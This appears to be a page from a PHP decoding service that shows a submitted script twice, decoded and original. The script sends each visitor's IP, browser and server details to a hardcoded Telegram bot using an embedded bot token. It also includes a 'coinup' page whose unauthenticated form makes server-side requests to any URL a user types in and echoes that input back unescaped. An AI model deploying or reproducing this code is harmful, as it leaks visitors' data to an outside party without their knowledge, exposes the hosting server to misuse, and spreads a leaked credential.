Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php define('API_KEY','440281685:AAEGBH-sQdFrxI2Kl6WjhohTWJHj0a_svCk'); function ma..
Decoded Output download
<?php
define('API_KEY','440281685:AAEGBH-sQdFrxI2Kl6WjhohTWJHj0a_svCk');
function makeHTTPRequest($method,$datas=[],$SW) {
$url = "https://api.telegram.org/bot".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
switch ($SW) {
case 'multipart':
# code...
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
break;
default:
# code...
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
break;
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
$txt2 = '
method: ' . $_SERVER['REQUEST_METHOD'] . '
php self: ' . $_SERVER['PHP_SELF'] . '
site: ' . $_SERVER['SERVER_NAME'] . '
browser: ' . $_SERVER['HTTP_USER_AGENT'] . '
ip: ' . $_SERVER['REMOTE_ADDR'] . '
protocol: ' . $_SERVER['SERVER_PROTOCOL'] . '
accept: ' . $_SERVER['HTTP_ACCEPT'] . '
document root: ' . $_SERVER['DOCUMENT_ROOT'] . '
Coded by J4rw1z & http://t.me/jarwiz
';
$txt = '
Profile of the person entered on the site!!!
Look down
Robot coded by Jarwiz
';
makeHTTPRequest('sendMessage', array('chat_id' => "311425498", 'text' => "$txt $txt2" ), '');
?>
<?php
if ( ! isset($url) ) $url = '';
if ( ! isset($method) ) $method = 'post';
if ( ! isset($parameters) ) $parameters = '';
if ( isset($_POST['url']) && isset($_POST['method']) && isset($_POST['parameters']) ) {
$url = $_POST['url'];
$method = $_POST['method'];
$parameters = $_POST['parameters'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
if( trim($method) == 'post' ) {
curl_setopt($ch, CURLOPT_POST, true);
}
else
{
curl_setopt($ch, CURLOPT_POST, false);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $parameters);
$response = curl_exec($ch);
echo '
<table style="width:100%" cellpadding="10">
<tr style="background-color: #000">
<td>url</td>
<td>method</td>
<td>parameters</td>
</tr>
<tr>
<td>' . $url . '</td>
<td>' . $method . '</td>
<td>' . $parameters . '</td>
</tr>
</table><br/>
';
print_r($response);
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
echo $_SERVER['SERVER_ADDER'];
?>
<html>
<head>
<title>coinup</title>
</head>
<body style="background-color: #000; color:#0f0">
<div align="center">
<form method="POST" action="">
<br/>
<br/>
<br/>
<br/>
----------Coinup Coded by Jarwiz----------
<br/>
<br/>
<br/>
<br/>
<br/>
<br/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="url" placeholder="url" type="text" value="<?php echo $url; ?>"/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="parameters" placeholder="parameters" type="text" value="<?php echo $parameters; ?>"/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="method" placeholder="method" type="text" value="<?php echo $method; ?>"/><br/>
<br/>
<input style="padding: 10px; border:1px solid #CCC; background-color: #FFF; cursor: pointer;" type="submit" value="send">
</form>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
define('API_KEY','440281685:AAEGBH-sQdFrxI2Kl6WjhohTWJHj0a_svCk');
function makeHTTPRequest($method,$datas=[],$SW) {
$url = "https://api.telegram.org/bot".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
switch ($SW) {
case 'multipart':
# code...
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
break;
default:
# code...
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
break;
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
$txt2 = '
method: ' . $_SERVER['REQUEST_METHOD'] . '
php self: ' . $_SERVER['PHP_SELF'] . '
site: ' . $_SERVER['SERVER_NAME'] . '
browser: ' . $_SERVER['HTTP_USER_AGENT'] . '
ip: ' . $_SERVER['REMOTE_ADDR'] . '
protocol: ' . $_SERVER['SERVER_PROTOCOL'] . '
accept: ' . $_SERVER['HTTP_ACCEPT'] . '
document root: ' . $_SERVER['DOCUMENT_ROOT'] . '
Coded by J4rw1z & http://t.me/jarwiz
';
$txt = '
Profile of the person entered on the site!!!
Look down
Robot coded by Jarwiz
';
makeHTTPRequest('sendMessage', array('chat_id' => "311425498", 'text' => "$txt $txt2" ), '');
?>
<?php
if ( ! isset($url) ) $url = '';
if ( ! isset($method) ) $method = 'post';
if ( ! isset($parameters) ) $parameters = '';
if ( isset($_POST['url']) && isset($_POST['method']) && isset($_POST['parameters']) ) {
$url = $_POST['url'];
$method = $_POST['method'];
$parameters = $_POST['parameters'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
if( trim($method) == 'post' ) {
curl_setopt($ch, CURLOPT_POST, true);
}
else
{
curl_setopt($ch, CURLOPT_POST, false);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $parameters);
$response = curl_exec($ch);
echo '
<table style="width:100%" cellpadding="10">
<tr style="background-color: #000">
<td>url</td>
<td>method</td>
<td>parameters</td>
</tr>
<tr>
<td>' . $url . '</td>
<td>' . $method . '</td>
<td>' . $parameters . '</td>
</tr>
</table><br/>
';
print_r($response);
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
echo $_SERVER['SERVER_ADDER'];
?>
<html>
<head>
<title>coinup</title>
</head>
<body style="background-color: #000; color:#0f0">
<div align="center">
<form method="POST" action="">
<br/>
<br/>
<br/>
<br/>
----------Coinup Coded by Jarwiz----------
<br/>
<br/>
<br/>
<br/>
<br/>
<br/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="url" placeholder="url" type="text" value="<?php echo $url; ?>"/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="parameters" placeholder="parameters" type="text" value="<?php echo $parameters; ?>"/>
<br/>
<input style="display: inline; width: 30%; padding: 10px; margin: 5px" name="method" placeholder="method" type="text" value="<?php echo $method; ?>"/><br/>
<br/>
<input style="padding: 10px; border:1px solid #CCC; background-color: #FFF; cursor: pointer;" type="submit" value="send">
</form>
</div>
</body>
</html>
Function Calls
| None |
Stats
| MD5 | 1d38f4bce8d163408c5c62def5134067 |
| Eval Count | 0 |
| Decode Time | 86 ms |